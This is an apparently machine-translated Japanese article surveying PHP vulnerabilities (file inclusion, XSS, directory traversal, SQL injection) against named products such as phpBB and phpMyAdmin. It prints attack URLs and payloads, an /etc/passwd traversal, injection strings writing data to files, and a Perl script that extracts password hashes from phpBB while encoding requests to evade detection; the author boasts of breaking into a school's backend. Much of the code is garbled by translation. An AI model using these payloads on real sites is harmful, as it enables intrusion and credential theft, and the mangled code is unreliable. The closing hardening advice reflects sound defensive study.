PHP Web サイトの脆弱性の概要-php手册-php.cn

現在のネットワークセキュリティから判断すると、誰もが最も懸念し、最も危険にさらされている Web ページの脆弱性は ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は何も言えません。しかし、PHP の観点から言えば、そこにあります。

も非常に深刻なセキュリティ上の脆弱性です。しかし、この分野に関する記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。脆弱性は、ファイルの脆弱性、スクリプトコマンド実行の脆弱性、ファイルリークの脆弱性、SQL インジェクションの脆弱性などに大別されます。もちろん、COOKIE スプーフィングなどの一般的な技術については、ここでは説明しません。インターネット上には多くの情報がありますので、これらの脆弱性を悪用する方法を 1 つずつ分析してみましょう。

まず、この脆弱性は、に特有のものであると言えます。これは、外部の PHP の処理が不十分であるためです。提供された悪意のあるデータにより、リモート攻撃者がこれらの脆弱性を悪用して、WEB プロセス権限を持つシステム上で任意のコマンドを実行することができます。例を見てみましょう: a.php に次のようなコードがあるとします。
include(＄include."/xxx.php");
?>
このコードでは、$include は一般に設定されているパスですが、たとえば、攻撃の目的を達成するには、a.php?include=http://web/b.php を送信します。もちろん、この Web は攻撃に使用されます。 b.php には passthru("/bin/ls /etc"); のようなコードを記述できます (注: Web サーバー)。 PHP コードを実行できないと問題が発生します。詳細については、「PHP プログラムの一般的な脆弱性を攻撃する方法」を参照してください。この脆弱性に関しては、たとえば、PayPal ストアなど、多くの問題があります。 Front、
HotNews、Mambo Open Source、PhpDig、YABB SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、X-Cart など

次に見てみましょうスクリプトコマンド実行の脆弱性。これは、ユーザーが送信した URI パラメーターのフィルタリングが不十分であることが原因で、悪意のある HTML コードを含むデータを送信すると、クロスサイトスクリプティング攻撃が引き起こされ、ターゲットユーザーの機密情報が取得される可能性があります。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。
http://web/ のようなコードを通じて攻撃の目的を達成できます。 Index.php?PHPSESSID="><script>...</script>スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少ないです。 PHP Transparent の他に、PHP-Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board などがあります。

次に、ファイル漏洩の脆弱性を見てみましょう。これは、ユーザーが送信したパラメータのフィルタリングが不十分なためです。リモート攻撃者がこれを使用してディレクトリトラバーサル攻撃を実行し、機密情報を取得する可能性があります。phpMyAdmin では、export.php ページがそうではありません。「what」パラメータを完全にフィルタリングすることにより、リモート攻撃者は、複数の「../」文字を含むデータを送信することで、WEB ROOT 制限を回避し、WEB 権限を持つシステム上のファイル情報を表示できます。ファイルのアドレス：export.php?what=../../../etc/passwd%00 これに関しては比較的多くのファイル漏洩の目的を達成できます。 myPHPNuke 、McNews など。

最後に、ASP ページで SQL インジェクションを使用することがいかに楽しいかについて考えてみましょう。 Xiaozhu が「SQL インジェクションの秘密の本」を見つけ出すまでは、手動でインジェクションを行っていました (笑)。その後、私たちの NB Alliance が大きな変化をもたらしました。彼は、CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに貢献しました。これらはあまりナンセンスではありません。少し話が逸れました...)。実際、ASP での SQL インジェクションは PHP での SQL インジェクションとほぼ同じです。使用されるいくつかの関数に少し注意してください。 asc を ASCII に、len を LENGTH に変更します。その他の関数は基本的に変更されません。実際、PHP で SQL インジェクションを見ると、誰もが PHP-NUKE と PHPBB を思い浮かべるのではないでしょうか。はい、よく言われるように、ツリーはポイントを獲得できます。 Dongwang のように、このようなフォーラムは ASP の世界における脆弱性の王であるべきです。これは、そのフォーラムのセキュリティが低すぎるという意味ではなく、他の人が使用すればするほど、より多くの人々がそれを研究するようになるということを意味します。セキュリティ上の脆弱性はますます発見されています。これは PHPBB にも当てはまります。現在、多くの人がフォーラムに PHP を使用している場合、その脆弱性は常に phpBB.com から発生しています。脆弱性が発見された phpBB 1.4.0、groupcp.php の最新バージョン phpBB 2.0.6、および以前に発見された search.php、profile.php、viewtopic.php などを合計すると、約 12 になります。これは常に、PHP の脆弱性を研究する際に、テスト製品として使用することにつながります。私は、PHPBB は将来的にはますます良くなると信じています。 >

さて、脆弱性の原因を分析してみましょう。viewtopic.php ページを例に挙げると、viewtopic.php を呼び出すと、「topic_id」が GET リクエストから直接取得され、SQL クエリコマンドを実行せずに渡されます。フィルタリング処理を実行すると、攻撃者は特別な SQL 文字列を送信して MD5 パスワードを取得し、このパスワード情報を自動ログインやブルートフォースクラッキングに使用することができます。 (特に重要な理由がない限り、ブルートフォースを実行したい人はいないと思います) まず、関連するソースコードを見てください:
# if ( isset(＄HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
#P トピック ID = INTVAL (＄ http_get_vars [post_topic_url]);
#}
#Else if (＄ http_get_vars ['トピック'])
#{
# I トピック ID = Intval (＄HTTP_GET_VARS['topic']);
# }
上記のことから、送信された view=newest と sid が値に設定されている場合、実行されるクエリコードは次のようになります ( PHPBB のソースコードをまだ見ていない場合は、それを読んでから、ここを参照することをお勧めします: phpBB 2.0.5 および phpBB 2.0.4)。 post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# 🎜 ># AND p.topic_id = ＄topic_id
# AND p.post_time > = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick は次の Break テストコードを提供しました:
use IO::Socket;
＄remote = SHIFT | | 'ローカルホスト';
＄view_topic = シフト ||
＄ポート = 'mysql4 '; # mysql4 または pgsql
print "uid ＄uid サーバー＄remote dbtype: ＄dbtypen のパスワードハッシュを取得しようとしています";
＄p = ""
for(＄index=1; ＄index< ;=32; ＄index++)
{
＄socket = IO::Socket::INET->new( PeerAddr => ＄remote,
PeerPort => 🎜> あるいは、「できません」＄remote:＄ port : ＄@n";
＄str = "GET ＄view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" . " に接続します。 HTTP/1.0nn";
print ＄socket ＄str;
print ＄socket "Cookie: phpBB2mysql_sid=1n"; = <＄socket>)
{
if (＄answer =~ / location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=# {
＄ p. =
}
}
Close (＄ソケット);
}
Print "uid ＄ uid は＄ pn の nmd5 ハッシュです。
# ランダムエンコード str は検出を回避します。 {
str = shift;
＄ret = "";
for(＄i=0; ＄i {
＄c = substr (＄str,＄i,1); >

if (int(＄j) % 2 || ＄c eq ' ')
);
}
else
🎜>}
sub make_dbsql
{
if (＄dbtype eq 'mysql4')
*" ;
} elsif (＄dbtype eq 'pgsql')
{
return "; select ascii(substring(user_password from ＄index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=＄uid or false";
}
else
{
return ""; この関数は、HASH 値を取得するためのものです。

これを見て、なぜ先ほど述べた変更された関数が使用されないのかという疑問が生じるかもしれません。実際、インターネット上の多くのサイトには、ページ上のクエリステートメントは次のようになります:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+ by+bbb+desc
笑わないでください。これは本当です。私はこれをいくつかの大きな Web サイトにアクセスするために使用しました。どの Web サイトにアクセスするかはわかりませんが、私はこれを学校の Web サイトのバックエンドにアクセスするために使用しました。 (学校のネットワークセンターがこの記事を見ないことを願っています。^_^) 前の機能を使用してください。そうでない場合は、パスワードを変更する必要があります。

SQL インジェクションに関しては、PHP は ASP とは異なり、mssql ほど柔軟ではないため、mssql で使用できる多くのクエリステートメントは利用できません。 mysql データベースはもう機能しません。一般的なインジェクションステートメントは次のようになります: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt ' /*さらに次のように変更できます: aaa.php?id=a' または 1=1 Union select id,name,password form users into outfile 'c:/a.txt
このように、データベースデータ
または次のようになります: mode=', user_level='4
このステートメントは通常、ページに脆弱性がある場合に使用されます。
その他は ' OR 1= 1 -- or: 1' または 1='1 のようなものですが、ここでは詳しく説明しません。一番の脆弱性は、この問題を抱えたページが多すぎることです。

実際、上記の分類の理由は 1 つだけであることがわかります。それは、送信されたパラメータがフィルタリングされていないか、フィルタリングが行われていないことです。ハッカーの防御線は常に攻撃的かつ防御的です。

まず、個人的に最も重要なポイントは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、およびヌル文字をバックスラッシュを含む文字に変換することです。たとえば、select * from admin where username='＄username' and passwd='＄password' ステートメントでは、攻撃者は 1' を使用したいと考えています。または 1='1 は検証をスキップしますが、これらの文字列は次のように変換されます: select * from admin where username='a' and password='1' または 1='1' 実際、インジェクションを防止する目的を達成します。、addslashes() 操作が自動的に実行されますが、それが機能しない場合は、それを処理する独自の関数を定義してください。myslq4 より前のバージョンではサブスクリプトがサポートされていないため、PHP インジェクションに携わる人々も非常に憂鬱になっているようです。

含まれるファイルの脆弱性を解決する方法は、次のとおりです。プログラマは、ファイルにパラメータを含めるときに変数を使用しないようにする必要があります。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、ユーザーが任意に指定することはできません。global_variables を off に設定することをお勧めします。たとえば、以前のファイルを開く際の PHP 操作パスを制限することは必要なオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:allow_url_fopen = Off (注: <>を参照)。

もう 1 つ必要があります。多くの Web サイトでこの問題が発生します。つまり、エラー表示がオフにならないということです。一見すると大したことではないように思えますが、長時間このサイトを見つめていると (表現は少し間違っていますが) 問題が発生する可能性があります。エラープロンプトを通じてデータベース情報、Web ページファイルの物理パスなどを取得します。